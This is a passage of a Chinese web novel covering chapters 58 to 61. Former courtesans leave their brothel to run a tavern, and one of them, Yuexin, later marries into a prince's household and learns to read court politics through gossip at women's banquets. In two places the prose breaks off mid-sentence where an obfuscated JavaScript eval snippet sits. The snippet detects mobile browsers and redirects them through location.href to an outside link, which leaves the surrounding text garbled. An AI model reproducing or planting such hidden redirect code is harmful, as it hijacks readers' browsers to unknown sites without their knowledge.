林鸯鸯抬起头,眼里终于有了一点压不住的动静。她知道一句“先住下”和一句“挂在那一房上”,分量全不一样。 她重新跪下去,朝老太太磕了个头。 老太太叫人把她扶起来,又吩咐身边嬷嬷,先带她去后院洗漱,换身干净衣裳,再叫厨房送一碗热汤面来。嬷嬷应了声,走过来领她出去。临出门时,老太太又慢慢补了一句:“她若真叫你来,自然有她的道理。你先把身子养起来,旁的事,往后再说。” 林鸯鸯低头应了。 陆云逸在巷外等了两刻钟,朱家门外没有任何动静。 她没有再等。 她调过头,慢慢往回走。历下的暮色一点点压下来,街边铺子的灯开始亮,卖枣糕的、卖香烛的、卖布匹的,一家接一家把门前映得发黄。 陆云逸抬头看着前路,天色已暗,路却还长。 58.临河新酿起青旗 陆云逸回到广陵时,天已经擦黑。 城南的巷子还是旧样子,青石路被暮色压得发灰,墙角的潮气一入夜便往上冒。春宜馆的门仍旧关着,门前那两盏旧红灯没有点,只在风里轻轻晃。陆云逸先在门外站了一会儿,才抬手叩门。 来开门的是阿月。 她开了一条缝,先看见门外那道熟悉的身影,愣了一下,随即一把把门拉大了些,声音压得低低的,却压不住那点欢喜,“公子回来了?” 陆云逸点了点头。 阿月立刻侧过身让她进门,嘴里已经往里头喊:“越心姐,公子回来了。” 这句一喊,后院便有脚步声急急过来。越心原本正蹲在灶间门口看火,听见这话,手里的蒲扇都没顾上放,掀开帘子便往这边走。她走到一半,脚步却又慢下来,脸上仍摆出平日那副样子,到了近前才问:“人送到了?” 陆云逸看着她,道:“送到了。” 越心的肩膀肉眼可见地松下去一截。 她嘴上还要先顶一句,“那你怎么这么多天才回来?”说完这一句,眼尾却先朝陆云逸身后看了一眼,像要再确认一遍林鸯鸯当真没跟着回来。 “你知道历下离这里多远吗?”陆云逸看明白她这一眼里的意思,便又补了一句:“朱家收下她了。你不必再挂心。” 越心这回没再接话。 她只是站在那里,手里的蒲扇慢慢垂下来,过了一会儿,才低低“嗯”了一声。 阿盲在廊下听见动静,也摸着墙走出来,问是不是公子回了。越心回过神,先过去扶她,说回了,还带了一身灰,先让人歇一歇。阿盲听了便笑,说回来就好,回来就好。院里那几个女人原本都各忙各的,这时也都停下手里活计,远远看过来。她们眼里有好奇,也有松快,谁都没多问林鸯鸯的去向,只像看见出门办事的人终于平安回来,心里一块石头便先落了地。 吃过饭后,院里女人各自回屋,越心才端着一盏热茶进了东厢。她把茶放下,先看了看门,确认掩实了,才在桌边坐下,开口第一句却还是绕回了林鸯鸯。 “朱家当真没为难她?” “没有。”陆云逸道,“信递进去,人便留下了。朱家会对她好的。” 越心听完,点了点头,隔了一会儿才低声道:“那就好,我相信你。” 她嘴里说着好,手指却在桌沿上来回轻轻敲了几下。 陆云逸看了她片刻,忽然道:“现在,该考虑你怎么办了。” 越心抬起头。 屋里灯火不大,照得陆云逸眉眼比平日更深一点。她把茶碗往旁边推了推,声音不高,却说得很清楚。 “这院子不能再留。” 越心的手顿了一下。 “那我们去哪?” “退租。”陆云逸道,“之前我考虑不周,这里离你们从前待的地方太近,所以认得你们脸的人也多。今日关了门,过一阵总会有人来打听,问你们是不是换了个地方重新做旧买卖。只要还挨着这一片,你们便总甩不掉。” 越心听着,眉头慢慢皱起。 陆云逸没有立刻往下讲。她先从袖中取出一叠银票,放到桌上。 越心低头看了一眼,随即又抬起来,嘴唇动了动,最后先骂了一句:“你为啥总是有这么多钱?” 陆云逸像没听见这句,只道:“先换良籍。” “全换?” “想走的,先换。”陆云逸道,“你去问清楚,院里这些人,谁愿意跟着你离开这里,往后不再做这一行。愿意的,名字、年纪、原籍、手里有什么活计,都记下来。一个都不要漏。” 越心低头看着那叠银票,隔了片刻,才道:“若有人不愿走呢?” “那便由她。”陆云逸声音平平。 越心抬头看她,眼里有一点很淡的异样。她原本还以为陆云逸会像三年前那样,先把人一股脑往外拖,再替她们安排好后头每一步。如今再才发现她终于比三年前沉稳了许多。 “再然后呢?”越心问。 “再然后,换地方。”陆云逸道,“临街,清静,离这里远些,叫人看不出你们的来历。你这脾气,也得改。” 越心一愣,随即失笑,“我这脾气还要改?” 陆云逸看着她。 “还不够。你得更泼辣些。” 越心眉尖一挑。 陆云逸道:“眼下的你,对那些不怀好意的人来说还不够不好惹。” 越心听完,竟认真想了想。 “这倒不难。”她低头拨了拨桌边的茶盖,嘴角慢慢挑起来一点,“不就是要装个泼辣老板娘,我装得来。” “不是装。”陆云逸道,“你往后就要这样活。” 越心看着她,忽然静了一下。 陆云逸继续道:“铺子我想过了,做个小酒馆。” “酒馆?” “江南风情的小酒馆。”陆云逸道,“白日卖茶,傍晚卖酒,菜不必多,干净就够。你们之前本就是在做一种生意,这些年待人接物、看脸色、劝酒、记账,哪一样都不是白学的。那些本事搁在这里,是卖笑求生,换个地方,便是做买卖的本事。” 越心听着,眼神慢慢亮起来。 她不是没想过往后做点小生意,可一想到房租、名帖、街坊、官差、税银,又觉得每一步都做不到。 “小酒馆……”她把这两个字在嘴里转了一遍,忽然笑了一下,“还真像回事。” 陆云逸看着她:“你做得来。” “我当然做得来。”越心抬了抬下巴,语气里终于有了些平日的活气,“从前我在前堂里伺候那些爷,一眼就能看出谁有钱、谁装阔、谁喝到几分会发疯。如今若叫我正儿八经开门做买卖,难不成还会比伺候他们更难?” 她说到这里,眼神又微微一动,话音低了些。 “可这酒馆开起来之后呢?总不会又跟之前一样只是教我们换个地方过日子吧。你费这么大力气,把鸯鸯妹妹送去历下,又替我们开铺子,之后呢?” 陆云逸没有回避。 “你先把这一摊做起来。等时候到了,我会来接你去京城。” “去京城做什么?” “跟我成亲。” “什么?” “后面的,等顺利了再说。” 越心静了好一阵,才轻轻吐出一口气。 “行。”她道。 陆云逸点了点头。 第二日起,越心便忙了起来。 她先把院里女人一个个叫到后头小屋里说话,谁想走,谁不想走,谁嘴上说走、心里却还发虚,谁明明心动却怕出门再挨一回,她都听着,也不催,只等人把话说完。她这几年带着众人过日子,谁心里是什么拧巴,她比谁都清楚。阿盲是头一个点头的,她眼睛坏得厉害,夜里坐门边早已坐得心灰,只说若真有一口正经饭,她便摸黑也愿跟着走。阿月第二个点头,她年轻,还没被这行当彻底磨平,眼里总还有一点热气。小铃原还嘴硬,说走哪条路都得先看有没有饭吃,后头听见陆云逸愿出钱换良籍,又把临到嘴边的话咽了回去,过了半晌才道,若真换得成,她也想试试。 也有不愿的。 有个年纪略大些的女人低着头坐了许久,才说自己这几年在这一行里熬惯了,出去做旁的,心里反倒更怕。越心听完,只点了点头,没劝,也没骂。人各有各的窄处,到了这个年纪,谁也替谁跨不过去。 问完人,便去定下铺子,接着换籍、搬家、收拾门面。 陆云逸出钱,越心出力,两个人一个在前头打点,一个在后头催人。越心嘴上还要嫌麻烦,说从前都没这样累过,手里却一刻都没停。她亲自盯着人把春宜馆里还能用的桌椅碗盏挑出来,能卖的卖,能带走的带走,带不走的便干脆扔下。退租那日,房东在门口转了半天,像还想探听她们是不是另有去处。越心往门框上一倚,手里捏着账单,脸一沉,嘴里便是一串利利索索的话,先把该结的租银算清,再把对方话里话外那点试探堵回去,堵得房东脸色发青,最后只好拿了银子走人。 陆云逸站在一旁看着,忽然觉得自己当日那句“你得更泼辣些”,原是多余。越心骨子里那股泼辣,本就在,只是从前用错了地方。 新铺开张那日,没有大张旗鼓。 牌子只写了三个字,小江南。 这名字还是阿盲起的。她说自己眼睛看不清了,心里却总记着江南两个字。越心嫌它太文气,嘀咕说自己站在门口,怎么看都不像个会说“小江南”这种话的人。阿盲便笑,说那正好,人家一看牌子,再一看你,心里便记住了。 越心听完,竟也没再反对。 陆云逸在广陵又留了半月,把该教的都教给越心。 什么人可以笑着迎进门,什么人一进门便要先提防;账要怎么算,菜价怎么压,税银该提前几日备好;旁人问起过往时,什么能说,什么一字都不能漏。她还专门叫越心把自己那点从前说话劲压一压,外头只当她是个性子厉害的小老板娘,才更不容易把她往别处想。 越心一开始还嫌这许多规矩烦,学着学着,反倒比谁都上心。她脑子快,记性也好,许多话陆云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614570|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逸只说一遍,她便会了。到了后头,连陆云逸自己都看出来,她在这件事上是有天分的。春宜馆里那些被逼出来的眼色、口风、分寸,一旦换了地方,竟一桩桩都成了做生意的本事。 陆云逸离开广陵那天,越心站在小江南门口送她。 门前新挂的酒幌被风吹得轻轻晃,河边有船慢慢驶过去,水声一下一下拍在岸边。越心手里还拿着个刚擦干的酒壶,站得比从前更直些。她看了陆云逸一会儿,忽然道:“你过几年若真不来接我,我便把这酒馆开得满城都知道,到时候你想装不认得我都不成。” 陆云逸看着她,眼里有一点极淡的笑。 “你先把眼下做好。” 越心哼了一声,“少拿这话堵我。你走你的,我做我的。到时候谁做得更好,还不一定。” 陆云逸点了点头,转身上马。 她走出去很远,回头时,小江南的幌子还在风里轻轻动。越心站在门口没进去,身后是阿盲、阿月和小铃,再往后,是收拾得清清爽爽的前堂,桌椅摆得整齐,酒香和饭菜香一点点从门里漫出来。 后来的事,也确如陆云逸当初所料。 小江南慢慢开出了模样。越心脾气辣,账算得清,酒也卖得好,往来客商喝过一回,便知道这地方不是那种藏污纳垢的旧馆子,只是个有几分南地风情的小酒馆。她把街坊来往、官差查问、进货算账,全都理得顺顺当当。外头便有人说,这位越老板娘嘴上厉害,做生意却实在,哪怕夜里一个人坐在柜后,也没谁敢轻看她。 再后来,礼部的人奉命下到广陵,查问越心来路时,小江南已经开了些年头。 那日来的官员穿着半新官袍,手里还拿着文书,进门时脸上带着公事公办的淡。越心正在柜后拨算盘,听见人来,抬头扫了一眼,心里便明白了个八九分。她只照旧请人坐下,问要茶还是要酒。那官员说来查问她名籍出身,她便把早备好的文书、租契、□□一样一样取出来,言语不多,神情坦然。那官员问得细,她答得也细,从何处来,何时开的铺子,何人可作证,哪一样都说得明白。再往外一查,街坊邻里嘴里说的,也无非是这位越老板娘脾气泼,做买卖倒讲规矩。 那一回查问,终究什么都没查出来。 小江南照旧卖它的酒,越心照旧坐在柜后打算盘。风从河边吹进门时,酒幌仍旧轻轻动。外头的人看这一家,只当它开在那里,本就该在那里。 …… 多年后的京城,雪落得很轻。 王府廊下挂着两盏宫灯,灯影映在新扫过的青砖上,一层薄雪压着檐角,远远看去,连院中的树枝都显得安静。越心坐在窗边,手里正翻着一封从广陵送来的信。信上字写得不算多,是旧相识报平安,说小江南这一冬酒卖得不错,河道上来的客商还同从前一样爱点热黄酒和糟鹅,街坊家的孩子长高了半头,连门前那棵歪脖子柳树,今年也抽得比往年更早。 她看到一半,忽然听见脚步声,抬起头,便见陆云逸从外头进来。 屋里地龙烧得暖,陆云逸身上却还带着一点外头的寒气。她解了披风,走到越心身边,目光落在那封信上,先问了一句:“广陵来的?” 越心点了点头,把信递过去,又笑了一声:“是,她们还说,今年又有人去查过小江南,照旧什么都没查出来。那帮人绕来绕去,最后还在店里坐了半日,喝了两盅酒才走。” 陆云逸接过那封信,慢慢看着。 烛火落在她侧脸上,把眉眼照得比平日更深。越心倚在榻边,看着她一页页翻过去,忽然想起许多年前,广陵旧巷里那间关了门的春宜馆,想起那条潮湿的青石路,想起自己头一回站在小江南柜后时,心里那一点明明慌得厉害,面上却还要撑出来的泼辣劲。那些日子如今再回想,已经隔得很远,远得像上辈子的事。 陆云逸把信合上,抬眼看她。 “事实证明,你做得很好。” 越心看了她片刻,忽然低低笑了一声。 “我若做得不好,你当年还会来接我吗?” 屋里灯火很稳,窗外雪落得却轻,落到檐角时几乎没有声响。陆云逸看着她,说道:“你若做得不好,我们现在就死了。” “喂,你跟外头那些人说话你们圆滑,跟我说话就这么直白?” “我不是说了,你做得很好吗?” “你这人,又这样。” 窗外是京城的雪,屋里是王府的灯。广陵那条旧巷早已远了,远得只剩下一点潮湿的影子,留在记忆最深处。可也正因走过那条巷子,今日这一室灯火,才愈发显得真。 59.花底闲言识世机 京城的春总比广陵来得迟一些。 广陵河边柳色发透时,顺天城里还带着料峭,风从王府高墙上掠过去,吹得廊下铜铃轻轻一响,把那点迟来的春意也吹得发颤。 越心进王府已有一阵,衣裳首饰渐渐换成了世子妃该有的样子,晨起用膳、见管事、看账、打发下人,这些事情也一件件捡起来做了。外头的人提起她,已不再只说一个“从民间娶回来的”,更多时候,是说陆小王爷待她看重。 萍儿时常带着越心认人。哪家同王府走得近,哪家只是面上来往;帖子来了该怎么回,逢年过节该送什么礼;见着什么身份的人该怎么称呼,什么场合该说什么话。这些东西越心从前都没碰过,只能一点一点记。 不过越心本就是在人堆里长大的,这些东西一点就透。她从前看惯了酒桌上的男人,如今不过是换了一群妇人。说到底,人心那点弯弯绕绕,也没有差得太远。 第一张正式邀请她的帖子送进王府时,越心还是觉得紧张。 那是一张桃红底的花宴帖,写得规规整整,说的是安定侯府二月赏花,请各家女眷前去相聚。送帖的人在廊下站得毕恭毕敬,越心接过来,看了两眼,指尖却半天没动。她识字不算多,平日勉强够用,这种带着半文半白调子的帖子,看得慢些。 她拿着帖子回屋时,陆云逸正坐在窗下看信。 越心把帖子搁到她手边,自己靠着桌沿站住,开口道:“第一次有人邀请我就是去侯府,是不是很看得起我?” 陆云逸垂眼扫了一遍,说道:“迟早的事。” 越心忍不住皱眉:“你早知道了?” “我是王府世子,当然要给我面子。” “你又在这里装!” 赴宴那日,天色放晴。 越心起得早些,梳妆时坐在镜前没有怎么说话。丫鬟替她绾发,萍儿替她挑钗环,末了给她定下一身雨过天青色的春衫,袖口和领边只压了一圈细细银线,不显眼,走动时却有一点温润的光。越心低头看了看自己这身衣裳,忽然想起许多年前,她也曾坐在破烂的妆台前,由人往脸上扑粉描眉,如今镜中人早已不同从前了,可这王府之外、京城之外,仍有许多人过着她曾经那样的日子。 临出门前,萍儿只同她说了一句:“到了那边,不知怎么说话就多看少说。” 越心点了点头,手指却还是在帕子边上轻轻捻了两下。 陆云逸送她到门外,青盖车停在那里,跟车的婆子、丫鬟都已候着。越心上车前回头看了她一眼,陆云逸便只道:“别太害怕。” 越心瞪了陆云逸一眼:“我什么时候怕过?” 她低头进了车,帘子落下来,外头的天光便被隔成一层薄薄的青影。 安定侯府离王府不算远,车行了两刻钟便到了。 侯府门前种着两株老海棠,雨后花色更艳,地上落了一层软红。引路的婆子把越心领进花厅时,里头已坐了不少人。上首的是安定侯夫人,年纪不轻,眉眼和气。左右两边依次是几家夫人、奶奶,衣裳颜色不艳,头面也不算太盛,坐在花影底下。 越心进门时,屋里本热热闹闹说着话,见她来了,声音便缓了一缓。 安定侯夫人先笑着招她,说世子妃来了,快坐。越心按着先前记下的礼,一一见过人,座次也没错,只在坐下时听见左手边一位穿石榴红褙子的年轻夫人轻轻笑了一声,道:“先前只听说明亲王府世子娶的是南边来的女子,今日一见,倒比我想的更像京中人。” 越心抬眼,看见那位夫人脸上笑着,手里慢慢拨着腕上的镯子,越心便也跟着笑了一下,道:“夫人见笑了,我原就是个不大会出门的人。进了王府之后,府里上下照看仔细,学了些样子出来,叫人看着不至于太失礼,已经算是运气。” 那年轻夫人听见越心这样答,便只弯了弯唇,端起茶盏,没再追问。 安定候夫人看了越心一眼,眼里倒添了一点真切笑意。 花厅里摆着各色时鲜果子和细点心,众人坐下之后,话题便又慢慢续起来。起初说的是天暖了,花也开得比往年早些,没过多久,便绕到了谁家姑娘前些日子定了亲,谁家小儿子又闹着不肯读书,谁家老太太这几日身子不太爽利。 越心捧着茶,很少接话,她只是一边听,一边努力记人。 安定侯夫人说起花宴,谁都肯应;说起她家那位侄女下月添妆时,坐在右手边一位穿秋香色褙子的夫人的笑容僵了一下,手里的茶也停了停。先前那个穿石榴红褙子的年轻夫人听见“添妆”两个字,倒像忽然来了精神,顺嘴便道:“侯夫人这门亲定得倒快,前些日子我还听说议的是沈家。” 安定侯夫人脸上还是笑,抬手扶了扶鬓边的钗子,“孩子们的亲事,议来议去也就那样。家里长辈觉得顾家更合适,便改了。” 没多久,丫鬟引众人去后园看花。 园子里开的多是牡丹,白的、粉的、深红的,一簇簇挤在假山旁和曲廊下。雨才停不久,花瓣上还沾着水,日头一照,亮得有些晃眼。众人边走边看,花厅里那股大家都端着的气氛散了些,话更多起来。 安定侯夫人被几位年长些的夫人围着,去看一株开得最好的姚黄。越心落在后头,身边只剩那几个年轻些的奶奶小姐。才走到池边,先前那位头上戴小凤钗的少奶奶便脚下一滑,手里的茶盏歪了半盏,袖子湿了一大片。 有人顺嘴说了一句:“你如今可得仔细,回头又叫老太太拿你说话。” 那少奶奶低着头,脸一下白了。 越心看了她一眼,把自己袖中的帕子递过去,道:“石板叫雨打过,谁走都打滑。今日出来看花,若先拿自己出气,回头花也白看了。” 那少奶奶愣了一下,抬头看她,过了片刻才接过帕子,低声说了句谢。 安定侯夫人回头时,恰巧看见这一幕,便对身边丫鬟道:“叫人拿些干帕子来,再把池边铺一铺,今日湿气重,别再叫人绊着了。 后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617037|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来众人移去廊下坐,丫鬟重新上了茶,又捧了新切的果子和一碟碟细点心。先前那位穿石榴红褙子的年轻夫人见越心坐得安静,便又笑着开口:“世子妃这样一瞧,倒不像是头一回来这种场合。” 越心抬眼,看见她仍旧拨弄着腕上的镯子,像是非得从自己身上挑出点毛病来,心里反倒不急了,她端起茶,轻轻吹了吹,才道:“夫人抬举我,我今日一路上后在心里记府中嬷嬷们先前教的话,” 那年轻夫人听见“王府”两个字,脸上的笑容便顿了顿。 安定侯夫人闻言变笑了:“你倒实在。” “我这人最会装样,偏偏一紧张,就爱说实话。” 几位夫人的笑容终于真了些。 宴散时,已近申末。 安定侯府备了盒子点心并一枝新剪的海棠,让各家带回去。越心坐上车后,先把那枝海棠放到一边,自己靠着车壁坐了半日都没说话。跟车的婆子只当她累了,也不敢打扰。直到车行过两条街,越心才慢慢吐出一口气,抬手按了按额角。 她这一日话没说多少,心却累得发沉。那些太太奶奶说花,说天气,说孩子,说亲事,谁该嫁,谁该生,谁该忍,换个地方,换身衣裳,竟也没什么新鲜。 回到王府时,天边已经压下晚霞。 陆云逸在屋里等她。越心进门后,把手里那支海棠往桌上一放,自己先坐下喝了一盏温水。陆云逸看着她,问道:“今日感觉怎么样?” “无聊透顶。” 陆云逸听了,只抬手把桌上那只海棠挪开了些,“说来听听。” 越心倚着椅背,先缓了一口气,才把今日在安定侯府里见着的人、听见的话一点点说。 “你可知侯府那门亲事为什么换了?” 越心想了想:“因为沈家不如顾家?” “不完全是。”陆云逸道,“安定侯府先前与沈家走得近,这门亲事本就是两家关系的一部分,可前些日子两家起了争执,又牵扯出了些旧事。朝上的人见面还是照样寒暄,底下早就不是一条心了。” 陆云逸顿了顿:“说到底,这些婚事算来算去,算的都是父辈的利益,谁家需要盟友,谁家需要靠山,谁家想把关系再拉进一步,最方便的办法就是结亲。你来之前不知有多少人想跟王府拉进关系,递帖子想着把自家女儿嫁进来。” 越心听后翻了个白眼,“哦哦,你真厉害。” 窗外的晚霞慢慢退下去,檐下灯火还没点。越心坐在桌边,想着今日那一屋子的笑声和轻声细语,忽然又想起广陵那些夜里,那些女人们说话,绕来绕去的也都是为了男人,京中这些太太也是如此。 她想着想着,手指轻轻碰了碰海棠的花瓣,花开得极好,枝干却细,拿在手里,一掐便断。 “这婚事,也真够烦人的。” 陆云逸抬眼看她。 越心低着头,像是同那枝花说话,又像不是。 “落到谁头上,都不算轻省。” 60.凤阙传音带愁归 安定侯府那场花宴过后,越心又跟着去了几回别家的席。 有的是给老太太贺寿,席面摆得热热闹闹,屋里却全是旧年恩怨;有的是看新媳妇,满屋子人围着一张新脸夸来夸去,夸到最后,仍旧绕回嫁妆、婆家、房里有没有人抢先得宠;还有一回,是去瞧一位刚生下嫡子的少奶奶,几位夫人围在榻边,一面说孩子长得像父亲,一面又说她命好,年纪轻轻便有了依靠。越心头两回去,还只觉得这群女人累人。谁说一句话都要先在舌尖上滚三圈,谁看谁都笑,笑里却未必有几分真心。等到去得多了,她慢慢也咂摸出一点味道来。 她后来每回回来,第一件事便是换下那身见客的衣裳,把钗环一支支拔下来,往妆台上一放,嘴里先说一句今日又听了一肚子没滋味的话。可说完归说完,到了夜里坐在灯下,她还是会把白日里听来的闲话,一桩桩捋给陆云逸听。谁家太太先前还同另一家说得热络,这回坐席时却隔得老远;谁家嘴上说着儿女婚事不急,转头却又急急忙忙去请人相看;哪位夫人提起她兄长时眼神发虚,哪位奶奶说到婆母时笑容就僵硬。她原先只觉得这些都是女人堆里的口舌,后头听陆云逸顺着她的话一拆,才知道这口舌里藏着的,原来多半还是男人的事。 有一回她从礼部郎中夫人的席上回来,说今日那位夫人嘴里一直骂布价又贵了,嫌给家里小儿子做件春衫都费银子。越心原不过是当个笑话说,陆云逸听完却问她,那位夫人说这话时,旁边还坐着谁。越心想了想,说兵部侍郎家的二奶奶也在,听见之后一句话都没接。陆云逸便点了点头,只道北边大约又要添人了。越心听得一头雾水,后头才明白,军中一动,棉布先贵,男人在朝上还没把话落定,后院里的女人却已经先拿针线和银钱觉出风声。 还有一回,是去看一位刚满月的孩子。席上几个妇人说着说着,忽然说起某家庶子议亲拖了半年,拖得人都烦了。越心回来学给陆云逸听,只觉得那家老太太真是闲得慌,连庶子的婚事都要管这么紧。陆云逸听完却道,那不是闲,是那家正房的儿子怕要外放,老太太急着把庶子也安顿出去,省得日后留在京里生事。越心当时瞪着眼看她,半天才骂了一句,“这些老东西,连娶个媳妇都能算到这一步。”话骂出来,她自己却先明白了。原来那些妇人嘴里说的亲、说的子嗣、说的房里哪个人得势,背后绕着的还是家里的银钱、外头的官位和往后的路。 这样过了几个月,越心心里那点起初的不耐,也一点点变了。 她还是嫌这些席无聊,还是嫌一群人坐在一处,明明各有各的心思,嘴上却都说着无关痛痒的话。可她去的时候,已不再只盯着谁说她是南边来的、谁笑她不懂规矩。她开始看谁和谁总坐得近,谁替谁接话,谁一提某家名字就要先看看四周,谁嘴里说的是孙女的婚事,眼里却分明惦记着自家兄长在外头的差事。那些事情看着都轻,轻得像花厅里飘着的茶香,散在半空中便没了。可带回来,落到陆云逸手里,又总能慢慢接成一根线。 这日她从一场午后的茶会回来,天还没黑透,檐下那几株芭蕉叫晚风吹得簌簌轻响。 她一进门,便把手里的扇子往桌上一搁,自己先歪进椅子里,长长叹了口气。头上的钗环压了半日,她一面揉着后颈,一面把最沉的那支金簪摘下来。陆云逸那时正坐在窗边看一封信,听见她进来,抬眼扫了扫她那副样子,便把信搁下了。 “今日又怎么了?” 越心把眼一翻,“还能怎么。照旧是那几位太太奶奶,照旧是看花看茶看孩子。一个说她家媳妇近来总犯困,一个说她家女儿眼光高,议来议去都不成,还有一个坐了半日,只顾着同旁边人说她家新得的那只玉镯子。我在那儿听得头都大了,险些以为自己又回了春宜馆,陪的是一群喝不醉的客。” 陆云逸听见“春宜馆”三个字,眼神微微动了一下,却没说什么,只给她倒了杯温水,往她手边推了推。 越心端起来喝了一口,这才把话慢慢往下说。她说今日那位户部员外郎夫人的脸色不对,嘴里一直笑,手却不住摸着帕子边;又说礼部主事家的奶奶比前阵子话少了许多,旁人一提起她娘家,她眼皮便先垂下去。她说着说着,忽然把杯子往桌上一放,眉毛轻轻一挑。 “对了,还有一桩事。” 陆云逸抬眼看她。 “今日有人提了一嘴,说鸯…额,恬贵人娘家那边这阵子门槛都快叫人踩平了。旁人没往深里接,我也不好多问。可我听那口气,倒像她在宫里很是风光。”越心说到这里,顿了顿,眼里那点方才还带着玩笑的神色慢慢淡下去,“她如今到底怎么样了?我这些日子东一家西一家地跑,竟没顾上问你。她进宫也有些时日了,我还没见过她。你说她那样的性子,在那地方,究竟撑不撑得住。” 陆云逸低头,把桌上的那封信重新拿起来,指尖压在信边上,过了片刻才道:“她如今依旧盛宠。” 越心一听,随即脸上那点担心松开了些。 “那不是好事么?”她身子往前倾了倾,语气也跟着亮了一些,“她从前总是高冷得很。如今皇帝喜欢她,旁人总不敢轻易欺负她。她进宫时我还怕她不会哄人,谁知道倒叫她哄得这样好。” 陆云逸却没顺着这句往下说。 她坐在那里,眼神落在手里的信上,过了半晌,才轻轻开口:“当宠妃,真的好吗?” 越心脸上的笑意顿住了。 外头的风把窗纱吹得轻轻一晃,屋里也跟着暗了暗。她看着陆云逸,一时没答上来。她先前那句“好事”出口时,并没多想,只觉得林鸯鸯从广陵一路走到宫里,如今既能得宠,至少总比被人冷落强。 陆云逸把那封信折起来,搁在案上。 “有时候我也在想,我当初送她走,到底算什么。如今再看,倒像只是把她从民间的妓院,送进了皇帝的妓院里。” 越心手里还捏着那只茶盏,听见这句,指尖微微紧了紧。 她起先想说,这话不对。可话到了嘴边,却又没能说出口。她知道陆云逸并非无道理。宫里是什么地方,她自己虽没见过,也不是全然不懂。女人的脸、身子、心思,在那地方一样要拿来换恩宠,换一句旁人嘴里的“有福”。不过是从前是一桌桌男人看着你,宫里是天底下最尊贵的那一个看着你。看的人不同,本质上并无区别。 她静了半晌,才慢慢道:“可她如今总比从前好些吧。” 陆云逸嗯了一声,声音却仍旧淡,“眼下自然是。她如今有孕,所谓的恩宠,应该还能延续一时。” 越心抬起头。 “有孕了?” “快要生产了。”陆云逸道。 越心怔了一下,脸上的神情一点点变了。她想起林鸯鸯那样清清冷冷的一个 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她想着想着,低头看了看自己的手。 这双手从前端过酒,收过铜钱,触摸过各种男人的身体。如今它搭在王府的桌案边,戴着世子妃的镯子,参加各种夫人的宴会。它看着比从前体面了,可本质却并没有改变。 陆云逸没有说话,只把那封信重新压在掌心底下。 越心抬头看了她一眼,见她神情淡淡的,心里却知道,这件事在她心里压得绝不比自己轻。林鸯鸯是她亲手送走的,也是她亲手一层层推到今日的位置上的。旁人若知道,只会说她聪明,懂谋划,会铺路。可这路铺到头,究竟是什么,她自己大约也说不准。 越心想到这里,忽然又有些恼,恼这世道,也恼自己。她把扇子往桌上一放,轻轻哼了一声。 过了片刻,才低低道:“等你见着她,替我带句话。” “什么话?” 越心想了一会儿,嘴角忽然弯了一下。 “就问她过得好不好。回头哪日真再见了,我请她喝酒。” 陆云逸听完,眼里终于有了一点浅淡笑意。 “宫里可喝不了酒。” “那就等她出来再喝。”越心道。 话出了口,她自己先停住了。因为两人都知道,宫里那地方,哪里是说出来便能出来的。可越心也没有把这句收回去。她只是抬手把窗边的帘子掀开一角,看了一眼外头慢慢暗下去的天色,又把帘子放了回去。 屋里灯还没点,四下已显出一点昏青。 越心看了她一会儿,忽然笑了一下。 “行了,你也别整日里摆这副冷脸。等她生了,你去宫里看她,回来再告诉我她胖了没有,凶了没有,若还是从前那副死撑的样子,我便骂她。” 陆云逸看着她,低低应了一声。 外头的蝉鸣不知何时又响起来,隔着窗纱,一阵阵传进屋里,倒把这满屋子的闷气冲开了一些。越心重新拿起团扇,慢悠悠给自己扇了两下,眼神却还落在陆云逸手边那封信上。 她想了一会儿,忽然又轻轻叹了口气。 屋里便再没人说话,只剩蝉声、风声,还有桌上那封薄薄的信,在将暗的光里压着不可说的过去和无人知的未来。 61.陆棣昤1:宫雨无声湿旧栏[番外] 若地位与权力会带来一场又一场的离别,那我也甘之如饴。 我头一个真正失去的人,是我母妃。 她活着的时候,我还不懂这句话。我那时只觉得,宫里的人都很会看脸色,见着得宠的人,声音都要亮些,腰也弯得更深些,到了我们这一处,礼数倒也齐全,真心却少。 母妃住的地方偏,冬天炭少,夏天冰也少,窗纸旧了,宫人也懒得勤换,风一过,便有细细的响。她从不在我面前抱怨这些,只管把衣裳穿得整整齐齐,头发梳得一丝不乱,见了谁都还是那副温温静静的样子。她总同我说,再乱也不能乱了自己,自己一乱,旁人更瞧不起你。 我那时不服。 我觉得她总是在忍耐,把许多委屈都藏进了心里。可我后来坐到这个位置上,再回头看她,才知道她不是不恨,也不是不委屈,她只是比我更早明白,一个女人在宫里,若手里没有能压得住人的东西,闹也没用,哭也没用,发作起来,也不过叫人看一场笑话。 母妃一共给父皇生了三个孩子。我在前,弟弟只比我晚出生几分钟,妹妹最小。若按孩子心性算,我同弟弟原该是一样大的,闹也该一起闹,偷懒也该一起偷懒。可从我记事起,我便总是那个要先坐端正的人。先生来时,母妃先看我字写得齐不齐,弟弟背错了书,她也是先让我去盯着他重背。妹妹夜里做了噩梦,哭着不肯睡,母妃倚在榻上叫的也是我,说你去哄哄她。连宫人都这样,见着我们兄弟两个,总是先喊我,再喊弟弟。只晚了那几分钟,我却像平白大了许多岁。 我小时候是怨过的。 